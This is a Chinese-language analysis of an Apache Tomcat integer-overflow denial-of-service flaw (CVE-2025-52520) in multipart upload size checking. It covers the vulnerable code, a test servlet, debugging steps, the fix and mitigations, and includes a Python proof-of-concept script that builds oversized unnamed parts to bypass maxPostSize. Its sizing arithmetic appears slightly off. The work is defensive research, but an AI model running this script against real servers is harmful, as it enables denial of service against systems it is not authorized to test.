CVE-2025-52520: Apache Tomcat: DoS via integer overflow in multipart file upload分析
字数 1962 2025-09-23 19:27:46
CVE-2025-52520: Apache Tomcat 多部分文件上传整数溢出拒绝服务漏洞分析
1. 漏洞概述
CVE编号:CVE-2025-52520
漏洞类型:整数溢出导致的拒绝服务(DoS)
影响版本:Apache Tomcat 9.0.0.M1 到 9.0.106
漏洞等级:低危
公开时间:2025年7月10日
修复提交:927d66fb
2. 漏洞原理分析
2.1 根本原因
该漏洞存在于Tomcat处理multipart/form-data请求时的文件上传限制检查机制中。具体位置在org.apache.catalina.connector.Request#parseParts方法。
2.2 漏洞代码分析
parts = new ArrayList<>();
try {
List<FileItem> items = upload.parseRequest(new ServletRequestContext(this));
int maxPostSize = getConnector().getMaxPostSize();
int postSize = 0;
Charset charset = getCharset();
for (FileItem item : items) {
ApplicationPart part = new ApplicationPart(item, location);
parts.add(part);
if (part.getSubmittedFileName() == null) {
String name = part.getName();
if (maxPostSize >= 0) {
// 计算等效大小
postSize += name.getBytes(charset).length; // 参数名长度
postSize++; // 等号
postSize += part.getSize(); // 参数值长度
postSize++; // 值分隔符
if (postSize > maxPostSize) {
parameters.setParseFailedReason(FailReason.POST_TOO_LARGE);
throw new IllegalStateException(sm.getString("coyoteRequest.maxPostSizeExceeded"));
}
}
String value = null;
2.3 整数溢出机制
postSize变量为int类型(32位有符号整数)- 攻击者可以构造特定的multipart请求,使
postSize累计值超过Integer.MAX_VALUE(2147483647) - 当超过最大值时发生整数溢出,
postSize变为负值 - 负值的
postSize与maxPostSize比较时,条件postSize > maxPostSize为false - 从而绕过文件大小限制检查,允许上传超大文件
3. 触发条件
3.1 必要条件
- 必须启用multipart文件上传功能
- 必须设置
maxPostSize为正数值(默认2MB) - 请求中的part必须满足:
part.getSubmittedFileName() == null
3.2 触发场景
part文件名为null的条件:
- 请求的Content-Disposition头中不包含filename字段
- 或者Content-Disposition头格式不符合标准
4. 漏洞复现
4.1 环境搭建
受影响版本:Apache Tomcat 9.0.98
所需组件:
- 文件上传Servlet
- 前端上传页面
文件上传Servlet示例
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;
@WebServlet("/FileUploadServlet")
@MultipartConfig()
public class FileUploadServlet extends HttpServlet {
private String extractFileName(Part part) {
return "test";
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
String saveDir = req.getServletContext().getRealPath("") + File.separator + "upload";
File dir = new File(saveDir);
if (!dir.exists()) dir.mkdir();
try {
for (Part part : req.getParts()) {
String fileName = extractFileName(part);
if (fileName != null && !fileName.isEmpty()) {
part.write(saveDir + File.separator + fileName);
}
}
} catch (ServletException e) {
e.printStackTrace();
}
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write("<h3>上传成功!文件保存在 'upload' 文件夹</h3>");
}
}
前端页面(index.html)
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<body>
<h2>上传文件</h2>
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
<input type="file" name="file" /><br><br>
<input type="submit" value="上传" />
</form>
</body>
</html>
4.2 攻击构造
关键步骤
- 修改Content-Disposition头:移除filename字段,使
getSubmittedFileName()返回null - 构造两个multipart部分:
- 第一部分:大小略小于maxPostSize(如2097140字节)
- 第二部分:大小为
2147483647 - 2097140 = 2145386507字节
Python利用脚本
import requests
import os
url = "http://localhost:8084/tomcat9/FileUploadServlet"
# 构造恶意multipart请求
def create_malicious_request():
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
# 第一部分:接近maxPostSize的文件
part1 = f"""
--{boundary}
Content-Disposition: form-data; name="file1"
{"A" * 2097140}
"""
# 第二部分:超大文件部分,触发整数溢出
part2 = f"""
--{boundary}
Content-Disposition: form-data; name="file2"
{"B" * 2145386507}
"""
end_boundary = f"--{boundary}--"
body = part1 + part2 + end_boundary
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body))
}
return headers, body
headers, data = create_malicious_request()
response = requests.post(url, headers=headers, data=data)
print(response.status_code)
4.3 调试分析
- 设置断点:在
org.apache.catalina.connector.Request#parseParts方法的关键位置 - 观察变量:
maxPostSize:默认2097152(2MB)postSize:从0开始累计,最终溢出为负值
- 验证绕过:观察
postSize > maxPostSize比较结果为false
5. 漏洞影响
5.1 直接影响
- 拒绝服务:通过上传超大文件消耗服务器资源
- 磁盘空间耗尽:大量文件上传占满磁盘空间
- 内存溢出:处理超大文件时可能导致内存溢出
5.2 实际利用限制
- 需要特定配置:multipart功能启用且maxPostSize设置
- 需要构造特殊的请求格式
- 漏洞评级为低危,实际影响相对有限
6. 修复方案
6.1 官方修复
修复提交927d66fb主要修改:
- 使用long类型替代int类型存储postSize
- 添加溢出检查机制
- 增强数值范围验证
6.2 升级建议
- 升级到Tomcat 9.0.107或更高版本
- 如无法立即升级,可实施以下缓解措施
6.3 缓解措施
- 限制请求大小:在反向代理层设置请求大小限制
- 监控异常请求:检测异常的multipart请求模式
- 资源限制:设置适当的磁盘和内存使用限制
7. 技术总结
7.1 漏洞特点
- 整数溢出利用:典型的整数溢出安全漏洞
- 条件较为苛刻:需要特定配置和请求构造
- 绕过机制巧妙:利用整数溢出后的负值绕过安全检查
7.2 挖掘启示
- 关注数值计算:安全审计中应重点关注数值计算和类型转换
- 边界条件测试:加强对数值边界条件的测试
- 类型选择谨慎:在可能涉及大数值计算的场景中使用long类型
7.3 防护建议
- 防御性编程:对可能溢出的计算添加检查机制
- 输入验证:严格验证用户输入的数值参数
- 资源管理:实施严格的资源使用限制和监控
8. 参考资源
- Apache Tomcat官方安全公告
- CVE-2025-52520详细描述
- 修复提交927d66fb代码对比
- 漏洞发现者分析报告
注:本文仅用于安全研究和教育目的,请勿用于非法用途。在实际环境中测试漏洞时,务必获得相关系统的授权。